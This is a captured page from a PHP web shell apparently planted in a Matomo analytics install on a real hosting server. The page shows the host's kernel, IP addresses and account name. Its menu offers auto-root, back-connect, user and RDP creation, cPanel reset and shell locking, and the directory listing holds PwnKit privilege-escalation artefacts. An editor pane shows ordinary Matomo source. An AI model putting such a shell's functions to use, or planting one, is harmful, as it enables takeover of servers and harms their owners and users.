Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.217.146.30
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Plugin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Dimension
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
API.php
4.12
KB
-rw-r--r--
AggregatedMetric.php
612
B
-rw-r--r--
ArchivedMetric.php
5.58
KB
-rw-r--r--
Archiver.php
5.64
KB
-rw-r--r--
Categories.php
1.99
KB
-rw-r--r--
ComponentFactory.php
4.94
KB
-rw-r--r--
ComputedMetric.php
8.45
KB
-rw-r--r--
ConsoleCommand.php
1.43
KB
-rw-r--r--
Controller.php
41.92
KB
-rw-r--r--
ControllerAdmin.php
16.01
KB
-rw-r--r--
Dependency.php
5.98
KB
-rw-r--r--
LogTablesProvider.php
3.11
KB
-rw-r--r--
Manager.php
52.91
KB
-rw-r--r--
Menu.php
11.54
KB
-rw-r--r--
MetadataLoader.php
3.73
KB
-rw-r--r--
Metric.php
6.41
KB
-rw-r--r--
PluginException.php
1.11
KB
-rw-r--r--
ProcessedMetric.php
2.27
KB
-rw-r--r--
ReleaseChannels.php
2.55
KB
-rw-r--r--
Report.php
35.26
KB
-rw-r--r--
ReportsProvider.php
9.3
KB
-rw-r--r--
RequestProcessors.php
630
B
-rw-r--r--
Segment.php
12.75
KB
-rw-r--r--
SettingsProvider.php
7.15
KB
-rw-r--r--
Tasks.php
5.37
KB
-rw-r--r--
ThemeStyles.php
5.82
KB
-rw-r--r--
ViewDataTable.php
21.71
KB
-rw-r--r--
Visualization.php
33.17
KB
-rw-r--r--
WidgetsProvider.php
4.53
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WidgetsProvider.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugin; use Piwik\Container\StaticContainer; use Piwik\Piwik; use Piwik\Plugin; use Piwik\Widget\Widget; use Piwik\Widget\WidgetConfig; use Piwik\Widget\WidgetContainerConfig; /** * Get widgets that are defined by plugins. */ class WidgetsProvider { /** * @var Plugin\Manager */ private $pluginManager; public function __construct(Plugin\Manager $pluginManager) { $this->pluginManager = $pluginManager; } /** * Get all existing widget configs. * * @return WidgetConfig[] */ public function getWidgetConfigs() { $widgetClasses = $this->getAllWidgetClassNames(); $configs = array(); /** * Triggered to add custom widget configs. To filder widgets have a look at the {@hook Widget.filterWidgets} * event. * * **Example** * * public function addWidgetConfigs(&$configs) * { * $config = new WidgetConfig(); * $config->setModule('PluginName'); * $config->setAction('renderDashboard'); * $config->setCategoryId('Dashboard_Dashboard'); * $config->setSubcategoryId('dashboardId'); * $configs[] = $config; * } * * @param array &$configs An array containing a list of widget config entries. */ Piwik::postEvent('Widget.addWidgetConfigs', array(&$configs)); foreach ($widgetClasses as $widgetClass) { $configs[] = $this->getWidgetConfigForClassName($widgetClass); } return $configs; } /** * Get all existing widget container configs. * @return WidgetContainerConfig[] */ public function getWidgetContainerConfigs() { $configs = array(); $widgetContainerConfigs = $this->getAllWidgetContainerConfigClassNames(); foreach ($widgetContainerConfigs as $widgetClass) { $configs[] = StaticContainer::get($widgetClass); } return $configs; } /** * Get the widget defined by the given module and action. * * @param string $module Aka plugin name, eg 'CoreHome' * @param string $action An action eg 'renderMe' * @return Widget|null * @throws \Exception Throws an exception if the widget is not enabled. */ public function factory($module, $action) { if (empty($module) || empty($action)) { return; } try { if (!$this->pluginManager->isPluginActivated($module)) { return; } $plugin = $this->pluginManager->getLoadedPlugin($module); } catch (\Exception $e) { // we are not allowed to use possible widgets, plugin is not active return; } /** @var Widget[] $widgetContainer */ $widgets = $plugin->findMultipleComponents('Widgets', 'Piwik\\Widget\\Widget'); foreach ($widgets as $widgetClass) { $config = $this->getWidgetConfigForClassName($widgetClass); if ($config->getAction() === $action) { $config->checkIsEnabled(); return StaticContainer::get($widgetClass); } } } private function getWidgetConfigForClassName($widgetClass) { /** @var string|Widget $widgetClass */ $config = new WidgetConfig(); $config->setModule($this->getModuleFromWidgetClassName($widgetClass)); $config->setAction($this->getActionFromWidgetClassName($widgetClass)); $widgetClass::configure($config); return $config; } /** * @return string[] */ private function getAllWidgetClassNames() { return $this->pluginManager->findMultipleComponents('Widgets', 'Piwik\\Widget\\Widget'); } private function getModuleFromWidgetClassName($widgetClass) { $parts = explode('\\', $widgetClass); return $parts[2]; } private function getActionFromWidgetClassName($widgetClass) { $parts = explode('\\', $widgetClass); if (count($parts) >= 4) { return lcfirst(end($parts)); } return ''; } /** * @return string[] */ private function getAllWidgetContainerConfigClassNames() { return $this->pluginManager->findMultipleComponents('Widgets', 'Piwik\\Widget\\WidgetContainerConfig'); } }
Close